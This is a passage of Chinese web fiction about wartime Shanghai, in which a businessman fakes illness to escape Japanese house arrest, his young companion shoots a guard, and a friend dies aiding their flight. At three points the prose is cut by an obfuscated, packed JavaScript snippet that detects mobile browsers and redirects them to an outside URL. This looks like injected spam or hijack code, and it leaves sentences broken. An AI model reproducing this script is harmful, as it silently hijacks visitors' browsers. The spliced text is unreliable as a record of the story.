到晚上仍未来电,只好点上油灯。现在物资也短缺,手上有钱也买不到东西,他们的菜品很简单:一盘清蒸鲥鱼、一盘炒青菜、一盘火腿炒笋,一碗蛋花汤。筷子和瓷碗碰撞的声音在昏暗的光线中叮叮当当,儿童乐团敲出来似的。 眼睛一用不上,耳朵就格外灵便。薛莲山批评王厚德:“喝汤不要那么响。” 王厚德忍气吞声地放下碗。 电话铃忽然大作起来,在蒙蒙的黑暗中,简直是午夜凶铃。明明还是黄昏时刻,但夜已经迫近了。薛莲山接了后,刻不容缓地就要出门。 一家人都知道是重要的事,然而警报刚刚结束,出门太危险,远远地还有枪在响。定青挪到了门口,说想跟着去,毕竟阿龙为了看守王润禾又跑到了邵子骏那边去,家中只有他。说的时候,又怕他不耐烦——最近薛先生很容易不耐烦,又有种隐隐的痛快——这广东佬总算走了! 好在薛莲山一招手就把他带上了。 金雪池洗澡后回到卧室。她应该在书房学习,但既然洗了澡,她就爱窝在大床边的沙发椅上看书,因为是他的房间。不要脸,但名正言顺,不要白不要。 进了卧室,又想起断电了。整个公馆也就三四盏煤油灯,宋妈占着一盏织毛衣,客厅的鞋柜上放了一盏等薛莲山回来,王润禾又抱走了一盏,她不好再翻箱倒柜地找,于是只是猫在沙发椅上打瞌睡。 大概九点的时候,薛莲山回了。他外衣也不脱,往床上一靠,就点雪茄,也不怕烟灰掉卧单上。 她问:“洋行不肯接手?” “不是——你怎么知道我另找了洋行?” “那是什么?” 薛莲山心里烦闷,除了他就是定青听到这个消息,定青又不是个能商量的,路上闷声不吭只是开车。现在和她在这黑融融的屋子里,精神松弛下来,便朝她走过去,一手搭在她脸颊边,一边弯腰低声说:“关王润禾的仓库被炸了,他死了。” 金雪池低低地“哦”了一声。 “三天内,我会把最后的事情结束,然后去香港。”他继续说,“其实有个小一点的洋行愿意接受我的两座矿,不过还得等,等几个月,我已经等不得了,只能仓促了事。你要有个心理准备,这一走,我们不可能像现在一样阔绰风光了。” “‘仓促了事’是指怎么办?” “这你别管。” 金雪池没再说话,怕招他烦。比起她,似乎是他更需要心理准备,因为他是个虚荣、好面子、追求生活品质的人,她呢,混得下去就可以啦,还跟在他身边呢。 第二日薛莲山一早就出了门。 王厚德照例每晚饭后出门转一圈,也要见见他的上司,打个忽悠。散步回来时正好碰到薛莲山,薛莲山闲闲地开口:“后天要不要去见见令郎?这段时间没法走动,只是吃喝,都长胖了。” 王厚德立刻道:“那敢情好。” “到时候我让阿龙带你去。”他说完,进屋寻找金雪池。其实每天他回来,定青、宋妈等人都要放下各自手中的事,出来问一句“回来啦?”金雪池就丝毫没有要欢迎男主人的意识,祖宗一个,都是他钻到书房里去对她说:“在干什么呀?” 他这回把一个盒子放在桌上,“送你一个小玩意儿,以后随身带着。” 金雪池打开一看,赫然是一把勃朗宁袖珍手枪,只有一包香烟盒大小,可以藏在口袋或者衣物里。她喜不自胜,这还是第一次能碰到枪械,总觉得是件非常酷的东西;又怕误触机关,只敢小心翼翼地察看。 薛莲山一手撑椅背、一手撑桌子,把她罩在怀里,笑道:“会不会用?” “不会。” “这把手枪有三重保险,这里是手动保险,这里是握把保险,这个地方是弹匣保险——看,现在里面就有六发子弹。所以即使膛内有弹也可以安全携行,只要把保险都关上了。后坐力也不大,你到时候一用就知道。现在不要试,在租界闹出动静不好。”他介绍完,问她,“金文彬没让你练过枪?” “我见都没见过。现在真的不能试一试吗?不是有消音器这种东西?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204344|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消音器是根装在枪管前面的管子,勃朗宁太小了,装不上。” 当天半夜三点来了电,像一场爆炸似的,吊灯炸出一个白炽的光团,室内顿时亮如白昼。金雪池迷迷糊糊地把脸往枕头里一埋,继续睡;薛莲山被惊醒了,指望不上这祖宗,只好自己起身去关。回来躺下,却再也睡不着。 按理说他现在已经可以跟金雪池分房睡了,但怕铃木社长突然来访,收拾不及,只好继续睡地板。 到了第三天,未避免王厚德察觉出不对,家里尚未收拾行李。等阿龙来接他出去,全家才开始收拾,忙得不可开交。金雪池挑了个不妨碍到他们的凳子坐着,摆弄她的手枪玩。 薛莲山被灰尘弄得咳嗽,掩着嘴转来转去。一看到她躲在这里玩,立刻给她派活儿干:“去找剪刀来。” 她“哦”了一声,收起手枪下楼。不是不乐意得做,是不知道要做,需要人提醒。他跟在她身后往楼下走,一个家丁慌慌张张地来报告:“铃木社长到了!” 整个薛公馆忽然陷入了极度的安静,偏偏在这个时候,偏偏在这个时候!金雪池越过栏杆一看,楼下箱箧俨然,到处都是麻绳和防雨布,一颗心几乎沉到了胃里。 身后传来声音说:“请他进。” 薛莲山大步越过她,接见了铃木社长。铃木社长一眼扫视过来,笑道:“薛先生这是要走啊?我们可以派专船送你。不过,走之前,先把字签了吧!合同我都打印好了。”说罢,直接从公文包里掏出一份档案袋往他怀里塞。 薛莲山当即是一顿咳嗽,两只手都去掏手帕,捂住嘴后,道:“我是大扫除呢。” “薛先生,作为朋友,我是真心地奉劝你快走。等入了冬,缺电缺煤,那滋味可不好受啊!” “再说吧,我身体有些不舒服。” “只是签个字,几秒钟。” 薛莲山一路咳着,一路回了房,猛地把门关上了。铃木社长于是转身对金雪池下功夫,“金小姐,你好,我们见过的。这段时间你受惊了吧?我是真心为了你们好,你去劝劝他。” 金雪池含糊地应了一声。 铃木社长于是坐下了,打算等王厚德回来找他说话,结果等到晚上王厚德也没回来。他隐隐意识到出问题了,直接借用薛公馆的电话召了一队人来。 阿龙那边直接把王厚德带到了越界建筑区,趁着外面有队日本兵在开枪,流弹飞舞,一枪把他毙了。想回来复命,却发现日本人把房子围住了!不是派一个汉奸假惺惺地去做客,而是院门口守了五个持枪的日本兵,大门口左右站了持枪的日本兵,围了个水泄不通。 薛公馆如今成了个孤岛,连出门买菜都不被允许了,等到弹尽粮绝,不投降也得投降。 铃木本人没空一直在这耗着,换了一个叫山崎次郎的手下来替自己。山崎次郎不像王厚德那样好糊弄,完全是一副军人做派,不苟言笑,两只眼直勾勾地盯着主卧看。 他们现在算是插翅难飞! 47.苦肉 金雪池觉得山崎次郎相当恐怖,不敢在客厅久留,只好往卧室里钻。进了卧室也不敢说话,薛莲山翘个二郎腿在面无表情地抽雪茄。很快,他灭了雪茄,进主卧附带的独立浴室洗澡。 不能算是洗澡,因为他一分钟后就出来了,衣服都没脱,湿漉漉地裹在身上。 金雪池怕他压力太大、脑子不清楚,轻声提示道:“你洗澡没脱衣服。” “我得生个病。”他把褥子挪回床上,直接往光秃秃的地板上一躺,像基督徒入殓似的,将双手合按在胸口,闭上眼,“妹妹,你听我说,不是明天就是后天,这个病会发展到需要抢救的程度。到时候你要做的就是告诉山崎,必须送我去法租界的广慈医院,只有这家医院有氧气机,否则我死了,他们什么都落不到。你要跟着一起进去,找一位叫吉勒姆的医生,说我在这里。记住了吗?” 金雪池道:“记住了。” 薛莲山总担心她不靠谱,宋妈好像都比她靠谱一点。但是宋妈没道理跟着他进医院,只有女朋友能含着一汪泪急急地跟进去。金雪池不会到时候哭不出来吧? 他叮嘱道:“山崎可能拦你,你一定要跟进去啊!” 第二天他有一点要生病的征兆,但还没有很严重。衣服快干了,他再次用冷水淋湿,湿漉漉地坐在地板上发呆;金雪池提了一瓶白酒、一盏电风扇过来,建议他一口气把酒全喝下去,然后对着电风扇吹湿头发。 薛莲山被风扇吹得眼睛都睁不开,笑道:“你平常怎么没这么多点子?折腾我倒是有办法。” 金雪池正色道:“因为平常你也不需要啊!但今天你叹了一早上的气了。” “我叹了吗?” “一直在叹。” “抱歉。”他说,“我没注意到,一直对女士叹气是很无礼的。” 只有薛莲山能为此说声“抱歉”了,她盘腿在床上坐下,对他的爱慕简直使她心神荡漾。 当天下午他鼻子就塞了,只能用嘴呼吸,气流细细地从嗓子眼过,倘若粗重一点,就会牵动一阵咳嗽。他不仅要维持呼吸节奏上的平衡,还要维持姿态上的平衡:坐在沙发椅上,怀里抱个大枕头,上半身微微前倾、搁在上面,坐直了又喘不上气。为了维持这辛苦的平衡,晚饭都没有吃。 金雪池不是那种会给他带点软和食物回来的人,她兀自拿着个梨啃,啃完了,问他:“你真的不吃吗?” 他有气无力道:“不吃。” 她“哦”一声,没管他了。临睡前她问:“你坐着睡吗?” 薛莲山已经没有精神跟她说话了,“嗯”了一声,她就又不管了。半夜被吵醒了好几次,他咳得简直叫一个撕心裂肺,且和普通人的咳嗽声不同,总有种连呼带喘、快被憋死的感觉,她不得不用被子盖住耳朵。 凌晨时分,独立卫浴里咚的一声,她闭着眼就一个鲤鱼打挺坐了起来。刚才的响声是薛莲山扑到洗手台边发出的,他现在正撑着台面,肩胛高高耸起,脑袋垂着,脸部发红、嘴唇泛紫,喉咙里冒着呼噜呼噜的声音。 金雪池感觉到时候了,冲到走廊上高呼山崎次郎。山崎次郎训练有素,夜间也不会进入熟睡,一呼即醒,披衣就冲了过来。 “薛先生?”他走上前去,没理解这是什么病。 “他肺部感染,快送医院吧!” 山崎次郎显然不愿意让他出薛公馆,自己上前一步,只是猛叩他的后背。金雪池几乎蹦起来,“送医院!这样乱拍有什么效果?他犯病时向来都是要送医院的,再耽误下去要出人命了!” 随着拍打,薛莲山嘴角泛出白沫,既说不出话、也无力反抗,只是急促、浅短地吸气,渐渐连洗手台都撑不住了。山崎次郎从后一把托住他,就是不同意去医院,只说:“我知道了,是有痰吧?”随即把他的腹部往洗手台边缘压,试图逼出堵在气管里的痰液。他本就喘不过气,一受压迫,双手直接脱了力,从台面边缘垂下来。 就在这时,一只手捏住了他的两颊,他的下巴自动打开;两只细长、灵巧的手指探进来,简直不是压舌根,而是在他咽喉部用力一抠。 胃酸逆流而上,推着喉管里的堵塞物往外走,薛莲山对着池子吐了个干净,同时也把痰吐了出来。金雪池擎着两根弄脏了的手指,去楼下的盥洗室清洗干净,然后呆呆地坐在沙发上等他。 几分钟后,山崎次郎也下楼来,定青刚刚醒,不明所以地探头探脑。 又过了几分钟,薛莲山洗漱完毕下楼找她,露出歉然的笑,抓起她一只手道:“对不起,妹妹,弄脏你了。” “唔,没关系。”金雪池把手抽出来,“怎么办,他好像不同意去医院。” “这才哪到哪,有的是让他以为我快死了的时候。” 两人并排坐着等天亮,他又咳起来,坐不住了,去书房趴在桌子上休息。金雪池吃过早饭后也去书房,摊开课本和稿纸,噼里啪啦地拨算盘。身边的人时不时咳一长串,她思考他这样经年累月地咳,能不能锻炼出腹肌呢?但是腹肌只在健壮的人身上好看,他这么瘦,只长腹肌也很诡异,还是不要了吧。 宋妈中途送了两次药进来,忧心忡忡地说家里储存的粮食最多只够全家人吃一周,他说放心,很快就能解除监禁了。为了保持半死不活的状态,待宋妈走后,将药全倒了。 下午的时候,山崎次郎请的医生到了,两人叽里呱啦地说日语。薛莲山对自己的病很有信心,根本没得治,只能静养,那日本医生果然只能开几副药方,没法给他打针,让他迅速好转。山崎次郎焦躁地转了几圈,又开始提签字的事,几句之后,直接上手拽他。 然而众所周知,日本人的体型是非常小的,定青像拎狗一样把他拎开了,顾忌着门口的日本兵,没有拔枪。山崎也意识到了自己的行为不妥当,找了个台阶下,“薛先生,你这样坐着不行,我扶你到床上去。” 薛莲山道:“怎么扶,我把你拄咯吱窝下面吗?” 此言一出,山崎次郎的脸色顿时十分精彩,“生病了也不去休息,消极对待,你是不是就想——” “不能平躺。”他说,“呼吸困难的时候只能坐着。山崎君若是没有这方面的常识,那就出去吧,我现在最需要的就是不受打扰。” 晚饭前他又大发作了一次,咳得惊天动地,简直连换气的空隙都没有,结束之后累得坐不住。定青把他扶到床上去,用枕头把他背后垫起来;他闭着眼睛,也不知道是睡是醒。 定青嘱托金雪池:“金小姐,麻烦你多照顾他一下!”他也知道金雪池不靠谱。 金雪池连连点头,心里却觉得很奇怪——她总觉得无所不能的薛先生有一具如此衰弱的身体,这是很离奇的。 每个和她产生交集的人都在她心中有个定位,就好比金文彬,如果金文彬从房里跳出来、跟她说床下有只蟑螂,她就会觉得很离奇。金文彬好像确实怕虫子,不过他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204345|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她当爹的,一直拿个拖鞋大拍四方,她都不知道他怕虫子。直到某天,一只毛茸茸的蜘蛛从房梁上掉到他的领子里,他大吼大叫着把褂子撕了。 金雪池当时把蜘蛛从他背上抓下来,问:“你叫什么?” 金文彬就说:“我在养生,早上吼一吼,提升大脑供氧,活血健体——啊,为什么撕衣服?因为很热啊,活血了嘛!” 而薛莲山呢,在她心中占据一个很高的位置,是他俯视她、教养她、掌控她,她没料到他经受不住一场感冒。这种身份倒置令她觉得很难为情,好像小孩要在大人面前装大人样;她也替他难为情,和看到他摘眼镜的时刻一样。不戴眼镜的他看起来比戴眼镜的他憔悴许多,她就为他暴露出这种憔悴而难为情。他应该是无懈可击的,她知道他也希望自己无懈可击。 “你醒着吗?”她轻声问。 他没有回答,应该是睡了,喉咙里仍然哧呼哧呼地不通畅。金雪池觉得这很好,他的那份难为情可以省去了。 她点了盏小油灯坐着看书,决定守他一夜。现在不方便打草稿,她就没看课本——她学习的时候非打草稿不可,于是从他的书架上挑了一本小说看。 此人的读书品味也十分洋气,鸳鸯蝴蝶派是不看的,通俗小说也没几本,都是外国书,大多也是社科、科学、历史类,不把时间消磨在小说剧情里。 大概凌晨两点的时候,他那种哧呼哧呼的喘息声加重了,随即开始咳嗽。金雪池踌躇了片刻,伸手去抚摸他的后背。几分钟后,咳得越来越厉害,后颈在油灯的光晕下显出一层亮亮的汗水。 “你要——你要喝水吗?” 杯子在他的床头,她要下床绕过去拿。然而薛莲山忽然抓住她的手,弯腰又是一阵咳,有什么凉凉的东西喷溅到她手上——定睛一看,是暗红色的血。 “去,”他哑着说,“现在去找山崎。” 他盯着她看,她的表情镇定得出奇,闻言甩开他的手,掉头就跑。很快整个薛公馆都被惊醒了,凌乱的脚步在楼梯上回荡,等山崎进门的时候,他正用手捂着嘴,血直顺着掌根往下流。 “快送医院!”金雪池一个劲儿地催,甚至推了山崎次郎一下,“他要死了!快送医院啊!” 山崎钉在床边没说话。定青先他一步,半扶半抱起薛莲山就往楼下跑,他也没表示反对,只是紧紧跟上。上了车,定青坐驾驶位,金雪池和山崎次郎把薛莲山夹在中间,一人拽住他的一条手臂。她发号施令:“去广慈!” “往虹口走,我认得路。我们有军医。” “这个时候你还争什么?广慈有最好的条件和医疗设备,还有氧气机,你们那给士兵疗伤的帐篷能比吗?” “金小姐,请你注意言辞。” “他都要死了我还注意言辞!” 她嘴上乱叫,头脑却是极冷静的,简直比坐在考场上时还冷静。右手抓着薛莲山,左手伸进旗袍夹层,缓慢打开了勃朗宁的三重保险。车身颠簸不止,子弹一触即发,她有天大的胆子,就这样揣着这样一把随时可能走火的枪。 黑暗中,汽车在空旷的马路上呼啸疾驰,当然是听从她的,冲进了法租界。 到广慈门口,金雪池推开门,把薛莲山往外拖,定青也下来帮他。山崎次郎忽然有一种失控感,他预感到真让他进了这所法国人开的医院里,事情就无法挽回了。 他死抓住薛莲山的胳膊,不放手了。 48.广慈 金雪池把薛莲山的一条胳膊交给定青,自己跳下车,冲进广慈喊人,很快出来了两个抬着担架床的修士。冲回车边,两人还对着薛莲山的胳膊较劲儿,快把他拽散架了。 “松手!”她说。 山崎猛地抬起头,对上了她的眼睛——静而冷,在苍茫暮色中像雪水一样亮。 金文彬的血液在她的血管里奔走,越到紧要关头,她越冷静、越专心、越孤注一掷。山崎的动作表情在她眼中无尽放大、放缓,除他以外,风声都静止了。 你要拔枪吗?我比你更快。 在他的手伸向腰带的时候,她就掏出了勃朗宁。金雪池一次枪也没打过,怕误伤薛莲山,甚至敢在这时候探身进车、用手臂把他挡开,单膝跪在座垫上,直撞向山崎次郎的头扣动扳机。 山崎次郎的保险还没打开,脑门上已经赫然是个血洞。他的手指无力地动了动,枪掉到了座椅下面。 定青一用力,把人事不省的薛莲山拖出了车,抱到了担架上。那几个修士简直惊呆了,抬也不是,不抬也不是。金雪池收起手枪,用英文急匆匆地说:“请帮助他!他姓薛,是吉勒姆医生的熟人!” 一听吉勒姆医生,几个法国人又恍然大悟了,似乎是提前打过招呼的,抬着他往里跑。 金雪池后知后觉地感到了腿软,一看手臂,不是薛莲山的血就是山崎次郎的脑浆,自己一下吐了出来。她一边吐,定青一边拿手帕给她擦,把那红红白白的东西越抹越匀。 金雪池崩溃道:“别擦了,别擦了!哪里有水龙头?” 定青说他知道,金雪池就跟着他到了洗拖把的水龙头下洗手,恨不得撸掉手臂上一层皮。一会儿后,来了个修女,递给她一块胰子,她连道谢都不记得,着急忙慌地打胰子。 两人沉默地看着她洗,洗了快半个小时,第二个修女下来了,递给她一件干净的袍子,用英文说:“薛先生醒了,想要见你。” 金雪池接过袍子,低头一看,自己衣服上也有脑浆,只好跟着修女去卫生间换掉衣服,然后跑进病房。 病房的角落搁了三个巨大的氧气钢瓶,瓶身上涂深绿色防锈漆,铸有 “SIEMENS” 钢印;铜制阀门组件联通盒式面罩,正挂在铁架上。 薛莲山暂时没用上,他注射了一针□□,刚醒过来,仍穿着血迹斑斑的晨衣。微微佝着上身靠在床头,看上去格外单薄、孱弱,招手示意她过去。 金雪池知道他有意安慰自己,不过她还好,主要是觉得恶心;如果他要通过拥抱来安慰她的话,这恶心他也有份了。而他现在堪称狼狈,她看他一眼,心乱如麻,立刻撇开头去看氧气瓶。她此前从未见过氧气瓶呢。瓶上有两个表盘,一个显示瓶内压力、一个显示输出压力,需要手动调解旋钮来解压......她缓缓挪过去,被抱住了。 金雪池觉得他真是没有力气,而且很瘦,于是扭头把脸贴在他额上,仍旧不敢直视他。 “我都听说了,你怎么这么勇敢呢?”他轻声说,同时在他脸上吻了几下,“好孩子,真是好孩子。” 金雪池往后直缩脖子,颤声提醒他不要亲自己:“脸上刚沾了脑浆。” “不要紧的,已经洗干净了。你听我说——现在是凌晨三点十五,日本人还不知道山崎已死。你待会儿要做两件事,一件是让定青把车开到江里去沉掉,让广慈的修士帮忙清理现场;第二就是去找邵子驹,五点之前到达他家,不要再出门,直到他送你上去香港的船。” “你想说邵子骏吗?” “不,邵子驹。知道他家在哪里吗?离医院不远,就在金神父路上......”薛莲山说到这里时又咳起来,努力回忆门牌号。他只会走,不知道具体是多少。 她说:“132号?” “你知道?” “我记得你的电话簿上写着有。” “那就是了。好妹妹,赶紧去。”他放开她前又紧紧挤了挤她,“不要害怕,我们很快会再见面。” 金雪池也感受到了时间的紧迫性,连“保重”都忘了说,只在离开前对他做出了迅速一瞥。他一直在安宁地对她笑着。 邵子驹家的佣人都没醒,怎么按门铃都没人应。她怕身后突然出现个日本人把自己毙了,火急火燎地,扯着嗓子喊了几声。 几分钟后,邵子驹穿着睡衣亲自出来给她开门。 她鞠了一躬,不知道该喊他“大少爷”还是“邵先生”还是“小爷叔”,就直接说了句“晚上好”。 邵子驹冷冷地说:“你觉得这个点来打扰我很好吗?” “没有。” 他掉头往里走,金雪池亦步亦趋地跟上,大门关闭的那一刻着实送了口气。邵子驹走开了,邵太太下楼接待她。她原以为邵子驹这样的人会娶美女当老婆,但邵太太体格非常胖,下楼都费了好一番功夫;头发电烫得又蓬又卷,在肩上一走一回弹,好似羊毛。 声音也绵绵如羊叫,问金雪池想要茶还是牛奶,金雪池说都可以。她于是一样端了一杯来。 金雪池局促地站在桌边,一直说:“谢谢,麻烦了。” “不麻烦,薛先生跟我们打过招呼了!”邵太太忽然感到肩膀被一拍,发现是丈夫到了身后,连忙又像只大绵羊一样端着盘子回了厨房。邵子驹已经换了一身衣服出来,擦然一支烟,问道:“薛莲山照计划进医院了?” 在王润禾死讯传来的第二天下午,薛莲山先是找了邵子骏,让他去给他哥哥传话,能不能弄一辆车或者一艘船,从日军封锁线下溜出上海。 邵子骏说邵子驹现在已经是个大汉奸了,能固然是能,但决不会帮忙。薛莲山便道:“邵老太爷的家产不是还没分完吗?你主动弃权,让一大部分给他,他就会同意的。” 当时邵子骏的表情像吃了苍蝇,因为太惊异、太难受,一时连骂人的话都说不出来。薛莲山很明确地说:“如果你不主动相让,这些时日我帮你打官司,所有重要文件、证据我都有留存,我会去拿给他。子骏,我今天之所以来,就是不想在背后做这种事,你去的话,还能修补一下兄弟感情。寄存在你那里的地契面值二十多万,黄金有六万,我不拿走了,你留着吧。兴许补偿不上你的损失,日后我再慢慢还。” 邵子骏慢慢道:“老薛,你上来就给我提这种要求......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210043|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不是提要求,是知会你一声,你不去,我就去。”薛莲山道,“我有危险,必须立刻动身。” 邵子骏于是跳起来,指着他骂了长长一段,大意是他是个无情无义的乡下人,早该滚出上海。薛莲山听这话的意思是同意了,因为赶时间,拿起帽子离开了蒲石路。 第二日去拜访邵子驹,邵子驹客客气气地告诉他:江上都是军舰,走水路行不通,但可以把他藏在卡车里沿沪闵公路去松江。 “卡车在十六铺码头周围发车,到时候,我直接送你上去。薛莲山得从广慈医院转移过去,他到了,立刻发车。”邵子驹把她引到一间客房里,强调说,“家里人多眼杂,天亮后不要再出来,有人给你送饭。” 金雪池喏喏地答应了,屋子里什么都没有,她困得厉害,往光秃秃的床板上一躺便睡。中午时分听到动静,原来是定青也被关进来了。 此刻薛莲山不在,定青把她当主子,汇报说:“车和现场都处理干净了。” 她说:“真快。” 定青又说:“医院附近也有几个特务,不好明目张胆地盯梢。” 这片土地上,黄皮肤的人互相看不起,对于白皮肤的洋大人却是同等地谦恭。广慈医院不但由法国天主教会开办,连治疗的也大多是法侨,华人若想就医,必须靠关系引荐。日本人要是公然地把这样一所医院围起来,那真是吃了熊心豹子胆。 两顿饭如约送进来,金雪池却越待越不自在:把她和定青关在一起不合适,当然,她不能指望邵子驹一个粗人想到这一层。空间狭窄,她既坐在木板床上,定青就到对角的角落处站着,过了一会儿,蹲下来蜷着膝盖休息。 金雪池坐了大半天,终于忍不住站起来说:“你来坐。” 定青连连摆手,直接在地上躺下了。金雪池最近一直让人躺地板,心里很过意不去,也不好意思呼呼大睡,又瞪着眼熬了一整晚。 不知道具体是什么时候,总之天还没亮,邵子驹打开了房门,示意他们跟他走。后院套了一辆马车,里面装了两个大木箱,他们坐到木箱子上,门帘又放下来。车轱辘在水门汀地面上颠颠簸簸地碾过去,两人在黑暗里跟着晃,晃久了,在闷热、充斥着牲畜气味的密闭空间里感到头晕。 很远的地方传来了隆隆声,不知是放炮还是打雷。他们无意探究明白,昏沉地想着同一个人。 他少年时来到这座城市,立志要闯荡出自己的一片天地;壮年离开这座城市,十几年的奋斗成了一场空,荣光、财富、热闹全被炮弹炸碎,流水落花去也。甚至连退场都不是项王式的,他需藏在运面粉的卡车里,偷偷地离开。 这场悲剧甚至不是他一个人的。除了两块租界安然无恙,上海快被夷为平地了,撑不了多久,人人都心知肚明。等日本人占领了这座城市,他们还有机会再夺回来吗?多年之后,还有人记得远东这颗最耀眼的明珠吗? 问从来谁是英雄?一个农夫,一个渔翁。 晦迹南阳,栖身东海,一举成功。 八阵图名成卧龙,六韬书功在飞熊。 霸业成空,遗恨无穷。蜀道寒云,渭水秋风。 49.出城记 薛莲山在这用作休整的一天内喝了好几碗不痛不痒的冲剂,效果聊胜于无,晚上还发起烧来。为了不耽误行动,吉勒姆医生给他打了一针□□;临出门前,又扎了一针□□,短暂地抑制一下咳嗽。 医院附近肯定有人蹲守,如果他也凌晨出门,那简直是给人当靶子打。所以他等到了早上九点才出门,戴了帽子、口罩,穿当时的法侨最爱穿的棕色薄麻长风衣,料想光天化日之下不会横遭子弹。 从后门到汽车的短短几步路内,余光里出现了太多闲杂人员:穿病号服晨练、散步的,遛狗的,卖报纸的,探病的......各式各样的人从他身边走过。薛莲山加快脚步,拉开车门时,愣了愣,还是很快关上门。 驾驶位上是一个法国汽车夫,特地摇下了车窗,给人看的;其他的窗帘都被拉上了。昏暗的光线下,邵子骏正在后排朝他咧嘴笑。 “你怎么来了?” 如果和你的最后一次见面是在吵架的话,我会抱憾终身的。邵子骏笑着推了他一下,“喂,我说了那么多难听的话,你生我的气吗?” “我从来都是大人不记小人过的。好了,快下车吧。” “我送送你。” “情我领啦!”薛莲山越过他,作势要去推车门,“快点,不跟你开玩笑,这一路不知道多少鬼子盯着......” 然而汽车夫似乎听不懂他们争执的内容,已经把车开出去了,他只好作罢。租界里的难民太多,活的乱窜,死的挡在路中间、也没人收尸,一进窄路简直寸步难行。薛莲山将自己这一侧窗帘拨开一道缝,观察着外头。街头搭满了棚子,巡捕一边拆一边挥舞着警棍呵斥难民,女人也哭,小孩也哭。 “真是乱。”他遮上窗帘,对邵子骏道,“我估计不到过年,上海就要掉了。那时候——” 一声巨响在前方炸开,整辆汽车被气浪掀得几乎翻过去。薛莲山一把抓住上方的扶手,急道:“倒车!” 车头刚探进一个巷子里,汽车夫立刻倒车,一盘子往左打,结果车根本拐不过来,照着墙撞过去。他再倒车,这么几秒的耽搁中,子弹就砰砰朝防弹玻璃上招呼过来。 “走!走!”薛莲山恨不得抢过方向盘替他开,“别倒了,可以了!现在不要去十六铺,甩掉他们——你听得懂中文吗?Take a detour!” 汽车夫受了惊,仍驾驶着汽车狼奔豕突着向十六铺码头去。倘若接头地点暴露,金雪池和他就没法走了,邵子驹也别想摘掉干系。薛莲山探身去抓汽车夫的肩膀,对着他喊:“No dock!No dock——你哪儿找来的汽车夫,什么话都听不懂!” 邵子骏已经给枪上了膛,竖握着,皱眉看到汽车正在离青帮的一个堂口越来越近,到门口时,他一枪打爆了汽车夫的头。汽车顿时失控,打着圈儿撞进了茶馆,撞断了门口的木柱,将店内的桌椅、客人全撞得人仰马翻。顷刻间,几十个青帮混混就从二楼冲下来,提刀提枪,看是谁在找茬。 邵子骏从里面猛拍车窗,吸引到他们的注意力,大喊道:“后面有鬼子!直接打!” 枪声响成一片,凭着他们人多势众,潮水般把追进茶馆的日本兵逼到马路上去了。邵子骏立刻拉开车门,拽上薛莲山,绕过柜台、从茶馆的后门口逃跑。钻过一排石库门下钻过去,街边就停着一辆轿车,汽车夫大概正在等主人,开着窗户睡觉。 邵子骏一枪托给他砸醒了,“出来!” 汽车夫被他吓傻了,连滚带爬下了车。薛莲山迅速钻上去,拉杆点火,同时道:“多谢你,子骏,不过别再跟了!” 邵子骏笑嘻嘻地扒在车窗上,问:“你要怎么感谢——” 枪声好像是从很遥远的地方传来的,只像江上依稀的一声鸥鸣。然而他的笑意凝固了,低头往下看,胸前出现了一个血洞,血迹正在扩散开来。 车内的薛莲山呼吸一滞,伸手要去抓他。他却猛地转过身,尽力开了三四枪,把追来的那人射死,自己再站立不住,靠着车门往下滑。 薛莲山迅速下车把他拖到了副驾驶上,这个地方难以止血,他只能掏出手帕让他摁着。 “我们去医院。”他说。 邵子骏闭着眼睛喃喃道:“去个屁的医院,这伤活不成了。你该去哪儿......就去哪儿吧!” “活得成,定青胸口也挨过一枪,现在还不是活得好好的?就是落下个驼背的毛病,你看他,总是驼背。” “是吗?我以为......乡下人......种地的,就是爱驼背。” “是的,忍一下,子骏,马上就好了。我认识法国的医生,他们都不给普通华人治病的。” “是......吗?” “是的,我认识好多人。” “你确实认识好多人,你的......朋友太多了,你都没时间......找我玩......” 他的声音渐渐小下去。薛莲山绕回金神父路,把车停在高墙边的一条小路上,拉下刹车,看着他。他的脑袋无生气地垂向胸口,腿上、座椅上全是血,到现在,伤口处仍在一泵一泵地往外冒血。 他把邵子骏抱到路边,脱下大衣将其盖住,只露出脸。按理说盖死人应该把脸也盖住,但邵子骏的脸丝毫不见失血过多的灰白,依然生动、温热,胡须都尚未长成硬硬的茬,只是毛茸茸地覆在唇上,还没有长大呢,就这么勇敢。 我和你玩,可是天色已经晚了。用不了多久,你哥哥就会找到你、接你回家,就像你十岁的时那样。 有人一脚踏上货厢的底板,上了车。差点昏昏睡去的金雪池猛地惊醒,看到薛莲山蹲下给栏板插栓,又朝前面喊了一句话,卡车就嗡嗡地发动了。 她的一颗心回归原位。定青问:“你手上怎 